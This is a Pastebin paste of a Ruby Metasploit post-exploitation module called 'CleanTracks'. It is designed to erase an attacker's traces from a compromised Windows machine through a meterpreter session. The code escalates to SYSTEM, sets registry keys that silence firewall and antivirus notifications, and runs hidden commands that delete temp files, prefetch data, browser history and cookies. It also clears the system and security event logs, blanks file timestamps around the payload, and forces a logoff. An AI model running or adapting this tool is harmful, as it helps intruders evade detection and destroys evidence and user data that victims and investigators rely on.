r00t-3xp10it

CleanTracks.rb [1.4]

Dec 5th, 2015
228
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 22.56 KB | None | 0 0
  1. ##
  2. #
  3. # [ CleanTracks.rb ] auxiliary module.
  4. # $Id$ 1.4 Author: pedr0 Ubuntu [r00t-3xp10it]
  5. # Hosted By: peterubuntu10[at]sourceforge[dot]net
  6. # http://sourceforge.net/projects/msf-auxiliarys/
  7. # ---------------------------------------------
  8. # [ Port the auxiliary module to metasploit database ]:
  9. # [Kali linux]   COPY TO: /usr/share/metasploit-framework/modules/auxiliary/analyze/CleanTracks.rb
  10. # [Ubuntu linux] COPY TO: /opt/metasploit/apps/pro/msf3/modules/auxiliary/analyze/CleanTracks.rb
  11. # [Manually Path Search]: root@kali:~# locate modules/auxiliary/analyze
  12. # ----------------------------------------------
  13. # [ EXAMPLE USAGE ]:
  14. # msf > reload_all
  15. # msf > use auxiliary/analyze/CleanTracks
  16. # msf post(CleanTracks) > info
  17. # msf post(CleanTracks) > show options
  18. # msf post(CleanTracks) > show advanced options
  19. # msf post(CleanTracks) > set [option]
  20. # msf post(CleanTracks) > exploit
  21. #
  22. ##
  23.  
  24.  
  25.  
  26. # -----------------------------------
  27. # Module Dependencies
  28. # -----------------------------------
  29. require 'rex'
  30. require 'msf/core'
  31. require 'msf/core/post/common'
  32. require 'msf/core/post/windows/priv'
  33. require 'msf/core/post/windows/registry'
  34. require 'msf/core/post/windows/accounts'
  35. # require 'rex/post/meterpreter'
  36.  
  37.  
  38.  
  39. # -------------------------------------
  40. # Class name should reflect directories
  41. # -------------------------------------
  42. class Metasploit3 < Msf::Post
  43.       Rank = ExcellentRanking
  44.  
  45.          include Msf::Post::Common
  46.          include Msf::Post::Windows::Priv
  47.          include Msf::Post::Windows::Registry
  48.          include Msf::Post::Windows::Accounts
  49.          # include Rex::Post::Meterpreter::Extensions::Priv::Fs
  50.  
  51.  
  52.  
  53. # ------------------------------------
  54. # Building Metasploit/Armitage info/GUI
  55. # ------------------------------------
  56.         def initialize(info={})
  57.                 super(update_info(info,
  58.                         'Name'          => 'CleanTracks auxiliary 1.4',
  59.                         'Description'   => %q{
  60.                                         this module needs a meterpreter session open to cover,
  61.                                 your fingerprints in target system after a sucessfully exploitation,
  62.                                 it rellys on registry keys and cmd commands to achieve that goal.
  63.                                   "Also we can set more than one option to run simultaneously"
  64.  
  65.                                 stage1: prevents the creation of data in target system by adding
  66.                                         registry policie keys into target regedit, this module
  67.                                         should be run just after a sucessfully exploitation.
  68.                                 stage2: clear temp/prefetch folders, flushdns cache, clear eventlogs
  69.                                         this module should be run befor leaving the current session
  70.                                         also we can only use stage2 without runing stage1 but it will
  71.                                         be more uneffective that runing the two stages separately.
  72.                                 getsys: getpriv msf module to elevate current session to
  73.                                         authority/system, its advice to run it befor runnig
  74.                                         any of the stages describe above (stage1 and stage2)
  75.                                 logoff: logoff target machine (optional, more effective).
  76.  
  77.                         },
  78.                         'License'       => UNKNOWN_LICENSE,
  79.                         'Author'        =>
  80.                                 [
  81.                                         'peterubuntu10[at]sourceforge[dot]net', # module author
  82.                                         'Special thanks to [ IsSUe ]', # testing debugging
  83.                                 ],
  84.  
  85.                         'Version'        => '$Revision: 1.4',
  86.                         'DisclosureDate' => 'dec 12 2015',
  87.                         'Platform'       => 'windows',
  88.                         'Arch'           => 'x86',
  89.                         'References'     =>
  90.                                 [
  91.                                         [ 'URL', 'http://sourceforge.net/users/peterubuntu10' ],
  92.                                         [ 'URL', 'http://sourceforge.net/projects/msf-auxiliarys/repository' ],
  93.                                         [ 'URL', 'http://sourceforge.net/p/msf-auxiliarys/discussion/general/thread/642cc0f1/?limit=25'],
  94.                                         [ 'URL', 'http://www.fireeye.com/blog/threat-research/2013/08/execute.html' ],
  95.                                         [ 'URL', 'http://windowsir.blogspot.pt/2013/07/howto-determine-user-access-to-files.html' ],
  96.                                         [ 'URL', 'http://www.magnetforensics.com/computer-forensics/forensic-analysis-of-lnk-files' ],
  97.                                 ],
  98.             'DefaultOptions' =>
  99.                 {
  100.                     'SESSION' => '1',
  101.                 },
  102.                         'SessionTypes'   => [ 'meterpreter' ]
  103.  
  104.                 ))
  105.  
  106.                 register_options(
  107.                         [
  108.                                 OptString.new('SESSION', [ true, 'The session number to run the module on']),
  109.                                 OptBool.new('stage1', [ false, 'Prevents the creation of data in target system' , false]),
  110.                                 OptBool.new('stage2', [ false, 'Clear EventLogs, temp/prefetch, cookies, flushdns' , false]),
  111.                                 OptBool.new('getsys', [ false, 'Elevate current session to nt authority/system' , false]),
  112.                                 OptBool.new('logoff', [ false, 'Logoff target system (no prompt) in 10 sec.' , false])
  113.                         ], self.class)
  114.  
  115.                 register_advanced_options(
  116.                         [
  117.                                 OptBool.new('mace', [ false, 'Blank MACE values in payload directory' , false]),
  118.                                 OptBool.new('revert', [ false, 'Revert regedit policies to default values' , false])
  119.                         ], self.class)
  120.  
  121.         end
  122.  
  123.  
  124.  
  125.  
  126.  
  127. # ----------------------------------------
  128. # Check for proper Platform (windows32/64)
  129. # ----------------------------------------
  130. # unsupported if client.platform !~ /win32|win64/i
  131. def unsupported
  132.    print_error("This auxiliary only runs against windows systems!")
  133.    print_error("Please execute [info] for further information.")
  134.    raise Rex::Script::Completed
  135. end
  136.  
  137.  
  138.  
  139. # --------------------------------------
  140. # Getting session authority/system privs
  141. # --------------------------------------
  142.        def ls_getsys
  143.              toor = []
  144.              # elevate meterpreter session to system
  145.              toor = client.sys.config.getuid
  146.              print_line("   Session UID: #{toor}")
  147.              print_line("   Elevate session to:[ NT AUTHORITY/SYSTEM ]")
  148.              print_line("   ------------------------------------------")
  149.              # getprivs loop funtion
  150.              client.sys.config.getprivs.each do |priv|
  151.              print_line("   Impersonate token => #{priv}")
  152.        end
  153.  
  154.          # checking results (if_system)
  155.          result = client.priv.getsystem
  156.          if result and result[0]
  157.  
  158.                 csuid = []
  159.                 csuid = client.sys.config.getuid
  160.                 # print results on screen if successefully executed
  161.                 print_line("   ------------------------------------------")
  162.                 print_line("   Current Session UID: #{csuid}")
  163.  
  164.       else
  165.       # error display in executing command
  166.       print_error("Fail to obtain [NT AUTHORITY/SYSTEM] access!")
  167.       print_error("Please manually run: getsystem to gain system privs!")
  168.       end
  169.  end
  170.  
  171.  
  172.  
  173. # ------------------------------------
  174. # STAGE1 - REGISTRY POLICIES KEYS
  175. # ------------------------------------
  176. def ls_stage1
  177.   # list of arrays to be executed
  178.   hacks = [
  179.    'REG ADD "HKLM\\System\\CurrentControlSet\\Control\\Update" /v UpdateMode /t REG_DWORD /d 1 /f',
  180.    'REG ADD "HKLM\\Software\\Microsoft\\Security Center" /v FirewallDisableNotify /t REG_DWORD /d 1 /f',
  181.    'REG ADD "HKLM\\Software\\Microsoft\\Security Center" /v AntiVirusDisableNotify /t REG_DWORD /d 1 /f',
  182.    'REG ADD "HKLM\\SYSTEM\\CurrentControlSet\\Control\\FileSystem" /v NtfsDisableLastAccessUpdate /t REG_DWORD /d 1 /f',
  183.    'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Comdlg32" /v NoFileMRU /t REG_DWORD /d 1 /f',
  184.    'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v NoInstrumentation /t REG_DWORD /d 1 /f',
  185.    'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v NoRecentDocsHistory /t REG_DWORD /d 1 /f',
  186.    'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v ClearRecentDocsOnExit /t REG_DWORD /d 1 /f',
  187.    'REG ADD "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v EnableInstallerDetection /t REG_DWORD /d 0 /f',
  188.    'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f',
  189.    'REG ADD "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management" /v ClearPageFileATShutdown /t REG_SZ /d 1 /f',
  190.    'REG ADD "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\internet Settings\\Url History" /v DaysToKeep /t REG_DWORD /d 0 /f',
  191.    'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Cache" /v Persistent  /t REG_DWORD /d 0 /f',
  192.    'RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True'
  193.   ]
  194.  
  195.         r=''
  196.         # executing list of arrays on target system and display info on screen
  197.         print_line("")
  198.         print_line("")
  199.         print_line("   Prevents the creation of data in target host by")
  200.         print_line("   adding registry policie keys into target regedit")
  201.         print_line("   ------------------------------------------")
  202.         session.response_timeout=120
  203.         hacks.each do |cmd|
  204.                 begin
  205.                   # execute cmd prompt in a hidden channelized windows
  206.                   r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
  207.                   print_good("   add Key => #{cmd}")
  208.  
  209.                      # close client channel when done
  210.                      while(d = r.channel.read)
  211.                              break if d == ""
  212.                      end
  213.                      r.channel.close
  214.                      r.close
  215.                      # print display on screen
  216.                      print_line("   ------------------------------------------")
  217.                      print_line("   Remmenber to run stage2 befor exit session")
  218.                  rescue ::Exception => e
  219.                   print_error("Error Running Command: #{e.class} #{e}")
  220.                   print_error("Try to rise meterpreter session to [AUTHORITY/SYSTEM] befor runing this module")
  221.                 end
  222.         end
  223. end
  224.  
  225.  
  226.  
  227. # ----------------------------------------------
  228. # STAGE2 - CLEAR TEMP/PREFETCH/COOKIES/EVENTLOGS
  229. # ----------------------------------------------
  230.     def ls_stage2
  231.       # list of arrays to be executed
  232.       hacks = [
  233.         'ipconfig /flushdns',
  234.         'DEL /q /f /s %temp%',
  235.         'DEL /q /f /s %windir%\\*.log',
  236.         'DEL /q /f /s %Userprofile%\\*.lnk',
  237.         'DEL /q /f /s %windir%\\Prefetch\\*.*',
  238.         'DEL /q /f /s %appdata%\\Mozilla\\Firefox\\Profiles\\*.*',
  239.         'DEL /q /f /s %appdata%\\Microsoft\\Windows\\Recent\\*.*',
  240.         'DEL /q /f /s %appdata%\\Microsoft\\Windows\\Cookies\\*.*',
  241.         'DEL /q /f /s %appdata%\\Microsoft\\Windows\\History\\*.dat',
  242.         'DEL /q /f %appdata%\\Google\\Chrome\\"User Data"\\Default\\*.tmp',
  243.         'DEL /q /s /f %USERPROFILE%\AppData\Local\Microsoft\Windows\History',
  244.         'DEL /q /f %appdata%\\Google\\Chrome\\"User Data"\\Default\\History\\*.*',
  245.         'DEL /q /f %appdata%\\Google\\Chrome\\"User Data"\\Default\\Cookies\\*.*',
  246.         'DEL /q /s /f %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Cookies\*.*',
  247.         'DEL /q /f %Userprofile%\\"Local Settings"\\"Temporary Internet Files"\\*.*',
  248.         'REG DELETE "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU" /f',
  249.         'REG DELETE "HKLM\\System\\CurrentControlSet\\Services\\Netlogon\\Parameters" /v sitename /f',
  250.         'REG ADD "HKLM\\System\\CurrentControlSet\\Control\\Update" /v UpdateMode /t REG_DWORD /d 1 /f',
  251.         'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU" /ve /t REG_SZ /f',
  252.         'REG ADD HKLM\System\CurrentControlSet\Services\Netlogon\Parameters /v sitename /t REG_SZ /d x0d /f',
  253.         'REG DELETE "HKCU\\Software\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache" /f',
  254.         'REG ADD "HKCU\\Software\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache" /ve /t REG_SZ /f',
  255.         'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Applets\\Regedit" /v LastKey /t REG_SZ /d x0d /f',
  256.         'RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True',
  257.         'history /f'
  258.      ]
  259.  
  260.         r=''
  261.         # executing list of arrays on target system and display info on screen
  262.         print_line("")
  263.         print_line("")
  264.         print_line("   This module will clear temp/prefetch, flushdns")
  265.         print_line("   EventLogs, temporary internet files, cookies!")
  266.         print_line("   ------------------------------------------")
  267.         session.response_timeout=120
  268.         hacks.each do |cmd|
  269.                 begin
  270.                   # execute cmd prompt in a hidden channelized windows
  271.                   r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
  272.                   print_line("   Executing => #{cmd}")
  273.  
  274.                      # close client channel when done
  275.                      while(d = r.channel.read)
  276.                              break if d == ""
  277.                      end
  278.                      r.channel.close
  279.                      r.close
  280.                      # print display on screen
  281.                      print_line("   ------------------------------------------")
  282.                      print_line("   All cmd Commands executed successfully!")
  283.                  rescue ::Exception => e
  284.                   print_error("Error Running Command: #{e.class} #{e}")
  285.                   print_error("Try to rise meterpreter session to [AUTHORITY/SYSTEM] befor runing this module")
  286.                 end
  287.         end
  288.  
  289.          def ls_clearev
  290.          # list of IDS event logfiles to clear
  291.          evtlogs = [
  292.             'system',
  293.             'security',
  294.             'dns server',
  295.             'application',
  296.             'directory service',
  297.             'file replication service'
  298.      ]
  299.  
  300.              begin
  301.                # clear IDS event logfiles
  302.                print_line("   Clean EventLogs on:#{sysinfo['Computer']}")
  303.                print_line("   ------------------------------------------")
  304.                evtlogs.each do |evl|
  305.                print_line("   Cleaning => #{evl} EventLogs")
  306.                  log = session.sys.eventlog.open(evl)
  307.                  log.clear
  308.  
  309.              end
  310.              # print display on screen
  311.              print_line("   ------------------------------------------")
  312.              print_line("   All current EventLogs have been cleared!")
  313.        rescue ::Exception => e
  314.        print_error("Error: #{e.class} #{e}")
  315.        print_error("Try to rise meterpreter session to [NT AUTHORITY/SYSTEM] befor runing this module")
  316.       end
  317.    end
  318. end
  319.  
  320.  
  321.  
  322. # ---------------------------------------
  323. # CHANGE MACE VALUES IN PAYLOAD DIRECTORY
  324. # ---------------------------------------
  325.         def ls_mace
  326.              session = client
  327.                 # grab the location of payload in target
  328.                 file_path = client.fs.dir.pwd
  329.                 # clear MACE values of payload directory recursive
  330.                 print_line("")
  331.                 print_line("")
  332.                 print_line("   Blank MACE attributes recursive")
  333.                 print_line("   ------------------------------------------")
  334.  
  335.              # using metasploit API to blank mace directory recursive
  336.              client.priv.fs.blank_directory_mace(file_path)
  337.              print_line("   TimeStomp => #{file_path}")
  338.              print_line("   ------------------------------------------")
  339.              print_line("   Directory MACE attributes blanked!")
  340.        rescue ::Exception => e
  341.        print_error("Error: #{e.class} #{e}")
  342.        print_error("Try to rise meterpreter session to [NT AUTHORITY/SYSTEM] befor runing this module")
  343.  end
  344.  
  345.  
  346.  
  347. # ---------------------------------
  348. # REVERT POLICIES TO DEFAULT VALUES
  349. # ---------------------------------
  350. def ls_revert
  351.   # list of arrays to be executed
  352.   default = [
  353.    'REG ADD "HKLM\\System\\CurrentControlSet\\Control\\Update" /v UpdateMode /t REG_DWORD /d 0 /f',
  354.    'REG ADD "HKLM\\Software\\Microsoft\\Security Center" /v FirewallDisableNotify /t REG_DWORD /d 0 /f',
  355.    'REG ADD "HKLM\\Software\\Microsoft\\Security Center" /v AntiVirusDisableNotify /t REG_DWORD /d 0 /f',
  356.    'REG ADD "HKLM\\SYSTEM\\CurrentControlSet\\Control\\FileSystem" /v NtfsDisableLastAccessUpdate /t REG_DWORD /d 0 /f',
  357.    'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Comdlg32" /v NoFileMRU /t REG_DWORD /d 0 /f',
  358.    'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v NoInstrumentation /t REG_DWORD /d 0 /f',
  359.    'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v NoRecentDocsHistory /t REG_DWORD /d 0 /f',
  360.    'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v ClearRecentDocsOnExit /t REG_DWORD /d 0 /f',
  361.    'REG ADD "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v EnableInstallerDetection /t REG_DWORD /d 1 /f',
  362.    'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v NoStartMenuMFUprogramsList /t REG_DWORD /d 0 /f',
  363.    'REG ADD "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management" /v ClearPageFileATShutdown /t REG_SZ /d 0 /f',
  364.    'REG ADD "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\internet Settings\\Url History" /v DaysToKeep /t REG_DWORD /d 15 /f',
  365.    'REG ADD "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Cache" /v Persistent  /t REG_DWORD /d 1 /f',
  366.    'RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True',
  367.    'history /f'
  368.   ]
  369.  
  370.         r=''
  371.         # executing list of arrays on target system and display info on screen
  372.         print_line("")
  373.         print_line("")
  374.         print_line("   Reverts all registry policies keys changed")
  375.         print_line("   by stage1 option to there default values!")
  376.         print_line("   ------------------------------------------")
  377.         session.response_timeout=120
  378.         default.each do |cmd|
  379.                 begin
  380.                   # execute cmd prompt in a hidden channelized windows
  381.                   r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
  382.                   print_line("   Defaults => #{cmd}")
  383.  
  384.                      # close client channel when done
  385.                      while(d = r.channel.read)
  386.                              break if d == ""
  387.                      end
  388.                      r.channel.close
  389.                      r.close
  390.                      # print display on screen
  391.                      print_line("   ------------------------------------------")
  392.                      print_line("   Target system its now logging activity!")
  393.                  rescue ::Exception => e
  394.                   print_error("Error Running Command: #{e.class} #{e}")
  395.                   print_error("Try to rise meterpreter session to [AUTHORITY/SYSTEM] befor runing this module")
  396.                 end
  397.         end
  398.  
  399.  end
  400.  
  401.  
  402.  
  403. # ------------------------------------
  404. # LOGOFF TARGET MACHINE
  405. # ------------------------------------
  406.         def ls_logoff
  407.           r=''
  408.           print_line("")
  409.           print_line("")
  410.           print_line("   Logoff: #{sysinfo['Computer']} in 10 sec.")
  411.           # execute cmd prompt in a hidden channelized windows!
  412.           r = session.sys.process.execute("cmd.exe /c shutdown /l /f /q /t 10", nil, {'Hidden' => true, 'Channelized' => true})
  413.  
  414.              # close channel when done
  415.              r.channel.close
  416.              r.close
  417.              print_line("   exploitation ended! have a safe return...")
  418.         rescue ::Exception => e
  419.         print_error("Error Running Command: #{e.class} #{e}")
  420.         print_error("Try to rise meterpreter session to [AUTHORITY/SYSTEM] befor runing this module")
  421.  end
  422.  
  423.  
  424.  
  425. # ------------------------------------------------
  426. # MAIN DISPLAY WINDOWS (ALL MODULES)
  427. # Running sellected modules against session target
  428. # ------------------------------------------------
  429.        def run
  430.          # Variable declarations
  431.          session = client
  432.          sysnfo = session.sys.config.sysinfo
  433.          runtor = client.sys.config.getuid
  434.          runsession = client.session_host
  435.          directory = client.fs.dir.pwd
  436.          hpat = client.fs.file.expand_path("%HOMEPATH%")
  437.  
  438.        # Print banner and scan results on screen
  439.        print_line("   +--------------------------------------------+")
  440.        print_line("   |               * CleanTracks *              |")
  441.        print_line("   |  Cover your fingerprints in target system  |")
  442.        print_line("   |  by deleting cookies,cache,eventlogs,etc   |")
  443.        print_line("   |    Author: Pedro Ubuntu [ r00t-3xp10it ]   |")
  444.        print_line("   +--------------------------------------------+")
  445.        print_line("")
  446.        print_line("   Running on session  : #{datastore['SESSION']}")
  447.        print_line("   Computer            : #{sysnfo['Computer']}")
  448.        print_line("   Operative System    : #{sysnfo['OS']}")
  449.        print_line("   Target IP addr      : #{runsession}")
  450.        print_line("   Session UID         : #{runtor}")
  451.        print_line("   Home Path           : #{hpat}")
  452.        print_line("   Payload directory   : #{directory}")
  453.        print_line("")
  454.        print_line("")
  455.  
  456.  
  457.  
  458. # ------------------------------------
  459. # Selected settings to run
  460. # ------------------------------------
  461.       if datastore['getsys']
  462.          ls_getsys
  463.       end
  464.  
  465.       if datastore['stage1']
  466.          ls_stage1
  467.       end
  468.  
  469.       if datastore['stage2']
  470.          ls_stage2
  471.       end
  472.  
  473.       if datastore['mace']
  474.          ls_mace
  475.       end
  476.  
  477.       if datastore['revert']
  478.          ls_revert
  479.       end
  480.  
  481.       if datastore['logoff']
  482.          ls_logoff
  483.       end
  484.    end
  485. end
Advertisement
Add Comment
Please, Sign In to add comment